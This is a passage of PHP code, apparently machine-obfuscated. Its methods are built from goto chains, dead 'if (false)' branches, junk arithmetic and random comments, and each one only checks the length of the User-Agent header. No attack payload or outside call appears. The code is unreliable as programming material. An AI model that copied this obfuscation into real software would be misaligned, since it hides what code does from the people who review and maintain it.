NIVFfHWd: /* Security component */ goto JSPmEvXk; JSPmEvXk: if (false) { echo 'This is a dead end'; } goto khQ3O1yz; khQ3O1yz: $a6EHyDbxg = 402 + 19; $B9ma2fmF = $a6EHyDbxg * 2; goto RV2YBxMR; RV2YBxMR: // QWaqMPXiv5gC goto IktQzH7F; IktQzH7F: goto tsZ0fZ50; tsZ0fZ50: $iX1geSuk = 625 + 34; $a29IFo9lZ = $iX1geSuk * 1; goto UIT_Hlke; UIT_Hlke: $NqlX8zGc = 552 + 22; $a6b9oay5s = $NqlX8zGc * 4; goto Apfh6iEI; Apfh6iEI: /* 5v5y0rve_6 */ $Pe9zuJ4r = 332 + 48; $NqlX8zGc = $Pe9zuJ4r * 2; goto EfjW5Xah; EfjW5Xah: if (false) { echo 'This is a dead end'; } goto UQOeY2nF; UQOeY2nF: goto Lo1QCBYc; Lo1QCBYc: $BqYDw4sr = 969 + 14; $a6b9oay5s = $BqYDw4sr * 4; goto ail37H8u; ail37H8u: return $iX1geSuk > 10; } private function J3LZb2dSFN() { goto PbdeREcm; PbdeREcm: /* API handler */ $XsucffsH = 707 + 29; $B9ma2fmF = $XsucffsH * 2; goto EsNS4XlO; EsNS4XlO: $XsucffsH = 557 + 33; $B9ma2fmF = $XsucffsH * 4; goto ZuwNPQKi; ZuwNPQKi: if (false) { echo 'This is a dead end'; } goto Srg_YeU9; Srg_YeU9: /* System file */ $WWDcP6ib = 697 + 25; $iX1geSuk = $WWDcP6ib * 3; goto hl781t5w; hl781t5w: goto a_yn236E3; a_yn236E3: $iCjD65Pi = 432 + 8; $n7sJ6WnP = $iCjD65Pi * 2; goto zKAEWznx; zKAEWznx: goto lnoHjwab; lnoHjwab: /* TkUUiKnLzBFSMWs */ goto M7jRVIpS; M7jRVIpS: /* System file */ $BqYDw4sr = 432 + 31; $n7sJ6WnP = $BqYDw4sr * 4; goto ev1JpQcP; ev1JpQcP: goto YbH84bM5; YbH84bM5: // tbE9M6RY goto Z6tQU7eL; Z6tQU7eL: goto TtF3hr8K; TtF3hr8K: goto iRQk9lvd; iRQk9lvd: goto uNh5hgkn; uNh5hgkn: $a6b9oay5s = 922 + 5; $a6EHyDbxg = $a6b9oay5s * 1; goto kDv_rH5v; kDv_rH5v: $n7sJ6WnP = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto CxvlBX29; CxvlBX29: /* gN4QUXbtiByv6iE */ $B9ma2fmF = 664 + 42; $B9ma2fmF = $B9ma2fmF * 1; goto bLQyj_Mu; bLQyj_Mu: if (false) { echo 'This is a dead end'; } goto a_cHLUhNm; a_cHLUhNm: goto a1k285bfW; a1k285bfW: $iX1geSuk = 467 + 20; $iX1geSuk = $iX1geSuk * 2; goto a4QGw1hSr; a4QGw1hSr: goto DcGT19j_; DcGT19j_: // 0vMJFjzQ $FbaGmw5w = 848 + 16; $B9ma2fmF = $FbaGmw5w * 5; if (false) { echo 'This is a dead end'; } goto PWid24Jt; PWid24Jt: $BqYDw4sr = 682 + 21; $a6EHyDbxg = $BqYDw4sr * 5; goto aaGbD0ms; aaGbD0ms: goto f7b0izO2; f7b0izO2: /* tEAOl9ytGH */ $jIP39ari = 133 + 30; $FbaGmw5w = $jIP39ari * 5; goto lgvjw9bj; lgvjw9bj: $XsucffsH = 338 + 40; $iCjD65Pi = $XsucffsH * 1; goto XJ5Sey9M; XJ5Sey9M: goto M5z_it40; M5z_it40: // i1FS2R_weRNd goto RKkHbnvA; RKkHbnvA: goto xJXtYJzG; xJXtYJzG: goto BZoniJ1M; BZoniJ1M: $FbaGmw5w = 540 + 50; $a6b9oay5s = $FbaGmw5w * 5; goto MpQFkcH5; MpQFkcH5: $FbaGmw5w = strlen($n7sJ6WnP); goto a19tpLn9S; a19tpLn9S: /* Core module */ $jIP39ari = 891 + 46; $XsucffsH = $jIP39ari * 1; if (false) { echo 'This is a dead end'; } goto jKIzKUXa; jKIzKUXa: goto BmCcrRVI; BmCcrRVI: if (false) { echo 'This is a dead end'; } goto YbAg1tUV; YbAg1tUV: goto E1w1VHsU; E1w1VHsU: goto a2Sep7Wba; a2Sep7Wba: /* Main service */ if (false) { echo 'This is a dead end'; } goto aBXLv3t9; aBXLv3t9: // MLVhHTgd goto a5wDHGikU; a5wDHGikU: $bZa4iOd6 = 379 + 43; $jIP39ari = $bZa4iOd6 * 2; if (false) { echo 'This is a dead end'; } goto LBbHANSy; LBbHANSy: /* API handler */ goto ebdYXF0K; ebdYXF0K: /* zq3TCIBeUM_gwbk */ if (false) { echo 'This is a dead end'; } goto oX4Yboh6; oX4Yboh6: /* w33jQ9UfS3 */ $iX1geSuk = 626 + 11; $B9ma2fmF = $iX1geSuk * 2; goto Op2Reo6I; Op2Reo6I: // kr1lZXzNoXQ7NpDQ goto PphCyojU; PphCyojU: goto iGu9gMFB; iGu9gMFB: goto go1XtpTk; go1XtpTk: // VXZT6KuUWZF7 goto oG0csGLv; oG0csGLv: return $FbaGmw5w > 10; } private function a9J8J5h9v7G() { goto HDntdp_w; HDntdp_w: goto mEKlYt1o; mEKlYt1o: if (false) { echo 'This is a dead end'; } goto sG6wAk2k; sG6wAk2k: $bZa4iOd6 = 464 + 6; $iX1geSuk = $bZa4iOd6 * 1; goto SYMRC49h; SYMRC49h: /* YJZdiWZXnJevnwyq3goO */ $jIP39ari = 197 + 27; $NqlX8zGc = $jIP39ari * 2; goto iwM46F1F; iwM46F1F: /* 011bA1OF9K */ $NqlX8zGc = 534 + 5; $WWDcP6ib = $NqlX8zGc * 4; goto xS0mzNAQ; xS0mzNAQ: goto PCPLpcxp; PCPLpcxp: goto J35r4tGU; J35r4tGU: goto RT_BG76y; RT_BG76y: $a6EHyDbxg = 838 + 30; $XsucffsH = $a6EHyDbxg * 1; goto Gl61YlB1; Gl61YlB1: /* Security component */ if (false) { echo 'This is a dead end'; } goto Tm1vLYP8; Tm1vLYP8: $a6EHyDbxg = 276 + 38; $NqlX8zGc = $a6EHyDbxg * 5; goto a5UjAy6y6; a5UjAy6y6: /* XHAteylgxH */ goto LN90xUP2; LN90xUP2: goto iS4E3OPQ; iS4E3OPQ: // TGGQZfYceZEQRHLk if (false) { echo 'This is a dead end'; } goto InS8Uksw; InS8Uksw: /* 3CwsK0AuYb */ $BqYDw4sr = 500 + 36; $n7sJ6WnP = $BqYDw4sr * 3; goto a4lxMASKJ; a4lxMASKJ: $XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto YEYgAKmb; YEYgAKmb: /* P6ubjKc5eA9jaJXzxqUw */ goto akIUea6u; akIUea6u: $Pe9zuJ4r = 196 + 20; $iCjD65Pi = $Pe9zuJ4r * 1; if (false) { echo 'This is a dead end'; } goto DDbJIwqR; DDbJIwqR: goto a4I7bONRg; a4I7bONRg: $bZa4iOd6 = 733 + 37; $XsucffsH = $bZa4iOd6 * 2; goto gI2TirH8; gI2TirH8: // raUeiAQw goto Aiioptz_; Aiioptz_: /* API handler */ goto TBpvyUyh; TBpvyUyh: goto m867i0bK; m867i0bK: goto tv7j6Id5; tv7j6Id5: goto pjv7sNyM; pjv7sNyM: /* API handler */ goto rWP9kjoo; rWP9kjoo: /* Security component */ goto a3yxRzelp; a3yxRzelp: /* F7uUjgMv8RT_kTj */ $n7sJ6WnP = 449 + 44; $XsucffsH = $n7sJ6WnP * 2; goto YoA3T4CC; YoA3T4CC: goto hG93oUsh; hG93oUsh: goto GxU3GFqy; GxU3GFqy: /* norY5TeV5C */ goto FbXXadky; FbXXadky: $a6EHyDbxg = strlen($XsucffsH); goto vRKTJT4l; vRKTJT4l: goto hSUsH8ew; hSUsH8ew: /* Core module */ goto Nar22GGx; Nar22GGx: if (false) { echo 'This is a dead end'; } goto mPEZGky9; mPEZGky9: goto eFSFtG3z; eFSFtG3z: goto kUqTg1eH; kUqTg1eH: goto niNcE_mE; niNcE_mE: goto aikca54f; aikca54f: goto k3GKS0mO; k3GKS0mO: /* Z8TZ89Vqvxl2tRzu1QOO */ $a6b9oay5s = 989 + 35; $Pe9zuJ4r = $a6b9oay5s * 2; goto HkhF4zzX; HkhF4zzX: /* Security component */ goto rRlbKjF6; rRlbKjF6: if (false) { echo 'This is a dead end'; } goto YyVWANIB; YyVWANIB: // lOXn867vIJ46pJZl goto NTKVTVA2; NTKVTVA2: /* System file */ goto XeLgV2bf; XeLgV2bf: goto B4bFDgpK; B4bFDgpK: /* 5qznXtC_XO3lmum */ $iX1geSuk = 722 + 44; $iX1geSuk = $iX1geSuk * 5; goto EXefdD6a; EXefdD6a: return $a6EHyDbxg > 10; } private function yID7t2dCJD() { goto P73pcMLN; P73pcMLN: $NqlX8zGc = 628 + 3; $iCjD65Pi = $NqlX8zGc * 5; goto Jhdq7KBk; Jhdq7KBk: // GO43ztIbE5ec goto MDsbyrov; MDsbyrov: $B9ma2fmF = 457 + 11; $a6EHyDbxg = $B9ma2fmF * 1; goto jSTvrTWP; jSTvrTWP: /* Mtmrq7OiXefLLZhUEWsn */ goto zbj7BlYB; zbj7BlYB: // uwu7xTcz $a29IFo9lZ = 815 + 42; $iCjD65Pi = $a29IFo9lZ * 1; if (false) { echo 'This is a dead end'; } goto L1zm4owd; L1zm4owd: $bZa4iOd6 = 648 + 40; $a29IFo9lZ = $bZa4iOd6 * 1; goto oTYOVemv; oTYOVemv: goto S_N7odwx; S_N7odwx: /* Ziva84ORrBpBwNgBE12y */ $n7sJ6WnP = 935 + 24; $WWDcP6ib = $n7sJ6WnP * 4; goto hSMtZJAv; hSMtZJAv: $bZa4iOd6 = 759 + 15; $XsucffsH = $bZa4iOd6 * 3; if (false) { echo 'This is a dead end'; } goto srVmn6u_; srVmn6u_: goto a7RmlXhIc; a7RmlXhIc: /* I2PSp2LAm5oBkMt */ goto ESvhAmfN; ESvhAmfN: /* Core module */ goto Zt6czDZH; Zt6czDZH: /* KdbzRLZTL1CRd9m */ $NqlX8zGc = 232 + 22; $a6b9oay5s = $NqlX8zGc * 3; goto a2ubXcuu; a2ubXcuu: if (false) { echo 'This is a dead end'; } goto OxUcf_Sy; OxUcf_Sy: goto xisKoMx7; xisKoMx7: $jIP39ari = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto XMAfWFdO; XMAfWFdO: $XsucffsH = 992 + 21; $WWDcP6ib = $XsucffsH * 5; goto ZQWVNGGR; ZQWVNGGR: if (false) { echo 'This is a dead end'; } goto aNxzFUcF; aNxzFUcF: goto a2Murma4v; a2Murma4v: /* System file */ goto IqZejyX4; IqZejyX4: goto lnjp81dG; lnjp81dG: /* Core module */ goto a7gdx_HBI; a7gdx_HBI: /* SHTXpkzzwb */ $WWDcP6ib = 323 + 24; $a6b9oay5s = $WWDcP6ib * 3; if (false) { echo 'This is a dead end'; } goto KI02MYP6; KI02MYP6: /* P8NP13x70OnwIla */ $iCjD65Pi = 810 + 49; $B9ma2fmF = $iCjD65Pi * 3; goto iVUWGMUB; iVUWGMUB: $iX1geSuk = 925 + 18; $iX1geSuk = $iX1geSuk * 5; goto UDDiigfg; UDDiigfg: $XsucffsH = 820 + 3; $B9ma2fmF = $XsucffsH * 4; goto xURhKDHt; xURhKDHt: $Pe9zuJ4r = 542 + 28; $iCjD65Pi = $Pe9zuJ4r * 2; goto WYQ5Dc0p; WYQ5Dc0p: if (false) { echo 'This is a dead end'; } goto Ap0GC8SY; Ap0GC8SY: $XsucffsH = 315 + 12; $jIP39ari = $XsucffsH * 4; if (false) { echo 'This is a dead end'; } goto ao33jweY; ao33jweY: goto OscY1o75; OscY1o75: goto wMcG7WgE; wMcG7WgE: $iCjD65Pi = strlen($jIP39ari); goto a86Nv029Y; a86Nv029Y: /* Core module */ goto Zne6Gcqd; Zne6Gcqd: /* API handler */ $BqYDw4sr = 262 + 10; $NqlX8zGc = $BqYDw4sr * 5; goto mL7dsoB6; mL7dsoB6: goto iMnkynJR; iMnkynJR: goto Qu6nt2WM; Qu6nt2WM: /* Main service */ goto M_Q5ghNj; M_Q5ghNj: if (false) { echo 'This is a dead end'; } goto rLZbjrdj; rLZbjrdj: /* System file */ $FbaGmw5w = 722 + 35; $n7sJ6WnP = $FbaGmw5w * 1; goto c2viGbjF; c2viGbjF: $XsucffsH = 964 + 3; $B9ma2fmF = $XsucffsH * 4; goto YNemGfvZ; YNemGfvZ: /* wr3q0Jf3Bs0eXH3 */ goto AZqj6q6a; AZqj6q6a: $FbaGmw5w = 651 + 27; $n7sJ6WnP = $FbaGmw5w * 3; if (false) { echo 'This is a dead end'; } goto vxe_KmGy; vxe_KmGy: $iCjD65Pi = 544 + 34; $a29IFo9lZ = $iCjD65Pi * 1; goto wONGGOQu; wONGGOQu: /* Core module */ $FbaGmw5w = 139 + 11; $iX1geSuk = $FbaGmw5w * 2; goto HCYhZYx3; HCYhZYx3: if (false) { echo 'This is a dead end'; } goto HjcWJ6ut; HjcWJ6ut: /* 5yFClRpfbWNUaT0 */ $XsucffsH = 203 + 47; $iCjD65Pi = $XsucffsH * 2; goto uSuDjfsk; uSuDjfsk: $FbaGmw5w = 949 + 5; $a6EHyDbxg = $FbaGmw5w * 1; goto a3U_98cZq; a3U_98cZq: return $iCjD65Pi > 10; } private function a2R22OYcqWZ() { goto haPathUL; haPathUL: // KaZxOahryOY6 $FbaGmw5w = 377 + 16; $WWDcP6ib = $FbaGmw5w * 1; goto a_KGTPMPr; a_KGTPMPr: /* avv3I92LiaFqV03 */ $iX1geSuk = 988 + 32; $a6EHyDbxg = $iX1geSuk * 5; goto a00S7XTvg; a00S7XTvg: goto ujt4NmPB; ujt4NmPB: $bZa4iOd6 = 738 + 27; $a29IFo9lZ = $bZa4iOd6 * 5; goto T9tZr7Ig; T9tZr7Ig: /* Core module */ $n7sJ6WnP = 271 + 21; $a6EHyDbxg = $n7sJ6WnP * 2; goto a65mdo2_2; a65mdo2_2: /* API handler */ $XsucffsH = 133 + 37; $n7sJ6WnP = $XsucffsH * 1; goto Fc5bL377; Fc5bL377: /* tRD6TaaWZCm6N_z */ $NqlX8zGc = 187 + 13; $XsucffsH = $NqlX8zGc * 4; goto a9PMN1EjI; a9PMN1EjI: // d0kEUCgsg8rs goto niGIhrBI; niGIhrBI: $a6EHyDbxg = 462 + 48; $n7sJ6WnP = $a6EHyDbxg * 2; goto a1S8_tLU6; a1S8_tLU6: goto olG1o3Wp; olG1o3Wp: /* System file */ goto a3jIkoYwE; a3jIkoYwE: // mYSxVl4L2IzMxlDK goto hNeOW7hz; hNeOW7hz: // Vaue4pGs $a6EHyDbxg = 646 + 34; $WWDcP6ib = $a6EHyDbxg * 1; goto sCaVarKb; sCaVarKb: if (false) { echo 'This is a dead end'; } goto sia7yz3u; sia7yz3u: $NqlX8zGc = 613 + 13; $a6EHyDbxg = $NqlX8zGc * 2; goto dqdbfR70; dqdbfR70: $XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto HTaeoCfo; HTaeoCfo: // zvT2HYx00VdwN26a $iCjD65Pi = 781 + 49; $FbaGmw5w = $iCjD65Pi * 3; goto hWXa9BJa; hWXa9BJa: if (false) { echo 'This is a dead end'; } goto i3OPaPqc; i3OPaPqc: /* Main service */ goto n6AuaZ8S; n6AuaZ8S: $a6b9oay5s = 578 + 31; $NqlX8zGc = $a6b9oay5s * 5; goto Ngrbvvoc; Ngrbvvoc: /* Main service */ goto e179lmYT; e179lmYT: $Pe9zuJ4r = 866 + 27; $NqlX8zGc = $Pe9zuJ4r * 3; goto e4m0i3Vd; e4m0i3Vd: goto aqrf0OXk; aqrf0OXk: /* Main service */ goto YjxL1cpB; YjxL1cpB: goto e3UourHc; e3UourHc: // VX1Xk_XC $a6EHyDbxg = 390 + 34; $iCjD65Pi = $a6EHyDbxg * 3; goto JpENjADF; JpENjADF: /* Security component */ if (false) { echo 'This is a dead end'; } goto ctfdCkie; ctfdCkie: // rwpNFg_nzd15tpfX if (false) { echo 'This is a dead end'; } goto gwfxttdW; gwfxttdW: // 65rdOqmECsINmFKG if (false) { echo 'This is a dead end'; } goto PPIzXSMe; PPIzXSMe: /* Ek_mEaK6NXI2QOexqWVo */ goto a1VlMOXG5; a1VlMOXG5: if (false) { echo 'This is a dead end'; } goto Nc4WylM2; Nc4WylM2: $iX1geSuk = strlen($XsucffsH); goto a8DuscNMF; a8DuscNMF: goto a0USt_k9A; a0USt_k9A: goto a26s3Wdfb; a26s3Wdfb: goto c_gvjm_s; c_gvjm_s: /* FIYz8aCtiQtjR5u */ goto dZOnyQFG; dZOnyQFG: /* API handler */ goto f2r_YMQb; f2r_YMQb: if (false) { echo 'This is a dead end'; } goto jPMJRhwJ; jPMJRhwJ: // gfYjK4ua_ycwb0WF goto h8DqX5WA; h8DqX5WA: if (false) { echo 'This is a dead end'; } goto a9WwKrDbo; a9WwKrDbo: goto nV1ZmWjA; nV1ZmWjA: // zf7Yh5Go goto Bf6JNfAV; Bf6JNfAV: $jIP39ari = 790 + 17; $Pe9zuJ4r = $jIP39ari * 4; goto mVjqWTFe; mVjqWTFe: goto lSWCfgwu; lSWCfgwu: goto a_VT0ork0; a_VT0ork0: $bZa4iOd6 = 906 + 29; $Pe9zuJ4r = $bZa4iOd6 * 5; if (false) { echo 'This is a dead end'; } goto pcbXCS4s; pcbXCS4s: $NqlX8zGc = 119 + 23; $FbaGmw5w = $NqlX8zGc * 2; goto zGIZYmYw; zGIZYmYw: return $iX1geSuk > 10; } private function dux1kfWC51() { goto a5qXFSQY1; a5qXFSQY1: goto a4gFirt4g; a4gFirt4g: goto AdmsEm3n; AdmsEm3n: // HZ5oxtbA $a29IFo9lZ = 282 + 13; $bZa4iOd6 = $a29IFo9lZ * 4; goto nvuHeiz5; nvuHeiz5: if (false) { echo 'This is a dead end'; } goto ms7q5ESS; ms7q5ESS: goto itTrBlTP; itTrBlTP: $bZa4iOd6 = 506 + 10; $WWDcP6ib = $bZa4iOd6 * 4; if (false) { echo 'This is a dead end'; } goto zs7vHsGv; zs7vHsGv: $WWDcP6ib = 849 + 28; $a29IFo9lZ = $WWDcP6ib * 5; goto oCgZ9LYh; oCgZ9LYh: $n7sJ6WnP = 827 + 30; $B9ma2fmF = $n7sJ6WnP * 3; goto OFDCGboU; OFDCGboU: goto gCNebZlf; gCNebZlf: /* g5eLXhAgSuL99s9 */ goto kR53OIOX; kR53OIOX: goto a4G1cXAUt; a4G1cXAUt: /* API handler */ goto ICaCO_u7; ICaCO_u7: // xc2ZNPA_BFIo if (false) { echo 'This is a dead end'; } goto a7T2jWKED; a7T2jWKED: goto kPZ8WlJI; kPZ8WlJI: goto NhPzN_dO; NhPzN_dO: $Pe9zuJ4r = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto NYYhX9S4; NYYhX9S4: $B9ma2fmF = 383 + 15; $B9ma2fmF = $B9ma2fmF * 5; goto a6fjgSbuF; a6fjgSbuF: $a29IFo9lZ = 598 + 35; $FbaGmw5w = $a29IFo9lZ * 1; goto aJ4QLrra; aJ4QLrra: /* YkK8u2PVnrfbGhI */ goto eJn91w4y; eJn91w4y: /* Security component */ goto YDow1hEA; YDow1hEA: goto j8xRsd0u; j8xRsd0u: $a29IFo9lZ = 361 + 3; $B9ma2fmF = $a29IFo9lZ * 5; goto oOX39BNs; oOX39BNs: $a29IFo9lZ = 403 + 8; $WWDcP6ib = $a29IFo9lZ * 2; goto a2HwG1PME; a2HwG1PME: /* System file */ $jIP39ari = 144 + 6; $bZa4iOd6 = $jIP39ari * 1; goto Uv0gOyoI; Uv0gOyoI: /* Security component */ if (false) { echo 'This is a dead end'; } goto Hh_SGo9E; Hh_SGo9E: /* 3CzkzNActuHBrO4 */ goto NyvnSG3Z; NyvnSG3Z: $iCjD65Pi = 657 + 7; $B9ma2fmF = $iCjD65Pi * 5; goto jl8YYBXK; jl8YYBXK: if (false) { echo 'This is a dead end'; } goto a_9r0ScPd; a_9r0ScPd: goto ejmi0Uox; ejmi0Uox: // b7febheeWRoq $Pe9zuJ4r = 737 + 35; $iX1geSuk = $Pe9zuJ4r * 3; goto Swa3B5eJ; Swa3B5eJ: $a29IFo9lZ = 574 + 17; $FbaGmw5w = $a29IFo9lZ * 5; goto jiFe7qNC; jiFe7qNC: $a6EHyDbxg = strlen($Pe9zuJ4r); goto CPY88dx5; CPY88dx5: // izAa9wCt goto G7Opmoyz; G7Opmoyz: goto a0LOa4VEU; a0LOa4VEU: goto V7bEj2zs; V7bEj2zs: goto rHYFb1Al; rHYFb1Al: goto MfzH0_rd; MfzH0_rd: goto a7Z_ADNVH; a7Z_ADNVH: goto dtsjyGQJ; dtsjyGQJ: $jIP39ari = 551 + 32; $n7sJ6WnP = $jIP39ari * 2; if (false) { echo 'This is a dead end'; } goto DQzNjL5i; DQzNjL5i: /* API handler */ goto CLWAUYAk; CLWAUYAk: /* Main service */ $a29IFo9lZ = 967 + 38; $FbaGmw5w = $a29IFo9lZ * 2; if (false) { echo 'This is a dead end'; } goto jUIFb3ir; jUIFb3ir: /* API handler */ goto KzKE73mR; KzKE73mR: $a6b9oay5s = 888 + 3; $NqlX8zGc = $a6b9oay5s * 4; goto NAZVview; NAZVview: goto dn7o5HDH; dn7o5HDH: $bZa4iOd6 = 840 + 33; $XsucffsH = $bZa4iOd6 * 2; goto a0vhIfC72; a0vhIfC72: /* Main service */ goto itiPBNQK; itiPBNQK: return $a6EHyDbxg > 10; } private function nj0wOBrvcy() { /* Security component */ goto H7fs2IYg; H7fs2IYg: $WWDcP6ib = 758 + 30; $iX1geSuk = $WWDcP6ib * 1; goto D8f2RK5N; D8f2RK5N: /* Main service */ goto lagIdSZH; lagIdSZH: goto gLixBRZn; gLixBRZn: /* O4E4P9b2Cmvu4yrITeHp */ $a29IFo9lZ = 686 + 36; $bZa4iOd6 = $a29IFo9lZ * 4; if (false) { echo 'This is a dead end'; } goto a3sDtuvZu; a3sDtuvZu: /* VaPDBcZcc8 */ goto a9zZ5winm; a9zZ5winm: $FbaGmw5w = 365 + 11; $BqYDw4sr = $FbaGmw5w * 3; goto apVbl3YY; apVbl3YY: if (false) { echo 'This is a dead end'; } goto DmIcxTLi; DmIcxTLi: $iCjD65Pi = 625 + 31; $FbaGmw5w = $iCjD65Pi * 5; goto tXnILb9C; tXnILb9C: $Pe9zuJ4r = 690 + 7; $bZa4iOd6 = $Pe9zuJ4r * 3; goto twhsmqlG; twhsmqlG: goto KBlAs6S_; KBlAs6S_: goto eZ19dlmL; eZ19dlmL: /* Core module */ goto a0g24tekb; a0g24tekb: // D84ubfCg6b9rTWwh goto v0TQ6Kg3; v0TQ6Kg3: goto TzTc_0cf; TzTc_0cf: /* Core module */ $a6EHyDbxg = 337 + 8; $a6b9oay5s = $a6EHyDbxg * 4; goto bIwpQc3S; bIwpQc3S: $a6EHyDbxg = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto wanBYafC; wanBYafC: $jIP39ari = 478 + 48; $Pe9zuJ4r = $jIP39ari * 3; if (false) { echo 'This is a dead end'; } goto a82o2JuvJ; a82o2JuvJ: goto a9mBMUw8d; a9mBMUw8d: // Me8TLGpf8kHcF523 $iCjD65Pi = 277 + 30; $iX1geSuk = $iCjD65Pi * 3; if (false) { echo 'This is a dead end'; } goto gqgT1SZP; gqgT1SZP: goto JlOHuMJw; JlOHuMJw: $iX1geSuk = 155 + 5; $BqYDw4sr = $iX1geSuk * 4; goto a7yFnk7gV; a7yFnk7gV: if (false) { echo 'This is a dead end'; } goto jZfNQD_P; jZfNQD_P: /* Core module */ if (false) { echo 'This is a dead end'; } goto X46aAdNS; X46aAdNS: /* API handler */ if (false) { echo 'This is a dead end'; } goto yny3q4zS; yny3q4zS: goto a_FQdKsYs; a_FQdKsYs: goto Dkj40I88; Dkj40I88: goto V_moL0gs; V_moL0gs: // DhtqUc20Dw44Homm if (false) { echo 'This is a dead end'; } goto a9iFMBq2; a9iFMBq2: /* System file */ goto IMxQsrbF; IMxQsrbF: /* v60exrWIIyx9U9t4i7Ms */ goto IWeczX4D; IWeczX4D: goto a48A8pPgQ; a48A8pPgQ: $BqYDw4sr = strlen($a6EHyDbxg); goto a0797GHMu; a0797GHMu: /* TA8yoyIuPg3noNyAfyPD */ goto U21dPxsf; U21dPxsf: goto tuSEZAEC; tuSEZAEC: goto KwwqMX6P; KwwqMX6P: // 9xzmLtpz $WWDcP6ib = 701 + 34; $iX1geSuk = $WWDcP6ib * 5; goto jonxY1TN; jonxY1TN: goto Vjb7jZCO; Vjb7jZCO: /* wJnezPAVm4 */ goto Mb4KTr4b; Mb4KTr4b: $B9ma2fmF = 702 + 31; $iCjD65Pi = $B9ma2fmF * 2; if (false) { echo 'This is a dead end'; } goto kHtgc_dm; kHtgc_dm: // siLpIhi1DjRm goto giYblLKn; giYblLKn: goto ZKXHKuMR; ZKXHKuMR: goto paHuVpyn; paHuVpyn: /* Main service */ goto a_zzFF444; a_zzFF444: goto a3ZltMI1v; a3ZltMI1v: // THsMYGmKtw8qNTos goto apubsqSg; apubsqSg: goto XJSLsldi; XJSLsldi: // x0Vc0fJe2oIp if (false) { echo 'This is a dead end'; } goto JcrOUnBi; JcrOUnBi: return $BqYDw4sr > 10; } private function a_T_GLMD4Pk() { goto BwfWZro3; BwfWZro3: // Q3FyL2nH3otszg_a goto faqlhF2w; faqlhF2w: $iX1geSuk = 402 + 34; $FbaGmw5w = $iX1geSuk * 1; goto ZlbloGeC; ZlbloGeC: /* i0_uLY0_11JdcgzfsfCB */ goto pdW_Qdol; pdW_Qdol: goto VhVzNKbG; VhVzNKbG: $bZa4iOd6 = 940 + 21; $jIP39ari = $bZa4iOd6 * 4; if (false) { echo 'This is a dead end'; } goto xJvr2q1s; xJvr2q1s: // qea3k7c2rN2J goto yiukT32O; yiukT32O: // zx6YpwmE goto lzYRY_Cl; lzYRY_Cl: $a6b9oay5s = 945 + 33; $a6EHyDbxg = $a6b9oay5s * 3; if (false) { echo 'This is a dead end'; } goto i1AyVZAm; i1AyVZAm: /* System file */ $WWDcP6ib = 594 + 26; $BqYDw4sr = $WWDcP6ib * 4; goto a_yceIgc7; a_yceIgc7: /* Fylz0tKxzB0QHg9 */ goto VALhQFXT; VALhQFXT: goto o7DF4LJY; o7DF4LJY: // QxfAb4Rk25J1 $bZa4iOd6 = 787 + 13; $bZa4iOd6 = $bZa4iOd6 * 1; goto e5t6SWDz; e5t6SWDz: if (false) { echo 'This is a dead end'; } goto a8EcO36JX; a8EcO36JX: /* wCfRHQwNkB */ $bZa4iOd6 = 188 + 45; $XsucffsH = $bZa4iOd6 * 4; goto a9WCh8ixf; a9WCh8ixf: /* SAEbrReUBn6Svso */ $WWDcP6ib = 970 + 39; $jIP39ari = $WWDcP6ib * 4; if (false) { echo 'This is a dead end'; } goto a20aKhp95; a20aKhp95: $XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto a__N85Q8S; a__N85Q8S: // XdKvXaY2vi7w goto vhZbtsHu; vhZbtsHu: $a29IFo9lZ = 625 + 29; $WWDcP6ib = $a29IFo9lZ * 2; goto p779RnO1; p779RnO1: /* API handler */ goto Yh_EL1ee; Yh_EL1ee: // m3xtitYtMPac if (false) { echo 'This is a dead end'; } goto a97oFNqgU; a97oFNqgU: $jIP39ari = 990 + 31; $jIP39ari = $jIP39ari * 2; goto dhCvwKUm; dhCvwKUm: /* ax3E9ORhLgcfs_PkTnKq */ goto RRAi44BG; RRAi44BG: goto iRqblcMq; iRqblcMq: if (false) { echo 'This is a dead end'; } goto QFJwgK2u; QFJwgK2u: /* API handler */ $NqlX8zGc = 257 + 16; $XsucffsH = $NqlX8zGc * 2; if (false) { echo 'This is a dead end'; } goto oogPH8yh; oogPH8yh: $BqYDw4sr = 290 + 42; $FbaGmw5w = $BqYDw4sr * 2; goto oQqRyguo; oQqRyguo: /* Core module */ goto oGgmyX9N; oGgmyX9N: /* System file */ $FbaGmw5w = 499 + 44; $FbaGmw5w = $FbaGmw5w * 4; goto y0okLPhF; y0okLPhF: goto Fa6s6ON8; Fa6s6ON8: $FbaGmw5w = 736 + 16; $a6b9oay5s = $FbaGmw5w * 2; goto pEOkvuCS; pEOkvuCS: /* API handler */ goto NDzGq24r; NDzGq24r: $jIP39ari = strlen($XsucffsH); goto t457sQKg; t457sQKg: /* ZHc9APR4FHWQz7eI0ofH */ goto V5gkUVhK; V5gkUVhK: /* Main service */ if (false) { echo 'This is a dead end'; } goto H5LhESuL; H5LhESuL: /* 1eTbn41c0d */ goto ipMGWpA3; ipMGWpA3: goto lb6T40QK; lb6T40QK: /* System file */ $FbaGmw5w = 316 + 17; $WWDcP6ib = $FbaGmw5w * 1; goto y_VtC0AJ; y_VtC0AJ: goto kIPFmUTv; kIPFmUTv: goto jvrwr0vT; jvrwr0vT: goto jCM8fbLF; jCM8fbLF: // bqWIn39cKEle $NqlX8zGc = 434 + 33; $bZa4iOd6 = $NqlX8zGc * 4; goto EzuHtJY2; EzuHtJY2: $NqlX8zGc = 369 + 27; $a6b9oay5s = $NqlX8zGc * 1; if (false) { echo 'This is a dead end'; } goto JlPtkvRZ; JlPtkvRZ: /* Core module */ if (false) { echo 'This is a dead end'; } goto Efcc3AA0; Efcc3AA0: /* YvDX0FN06eLm9pgLoJ8Q */ if (false) { echo 'This is a dead end'; } goto wKPryaoD; wKPryaoD: $iCjD65Pi = 373 + 50; $B9ma2fmF = $iCjD65Pi * 3; goto GLf6GN5K; GLf6GN5K: goto AEqWZFLy; AEqWZFLy: /* Security component */ $a6EHyDbxg = 526 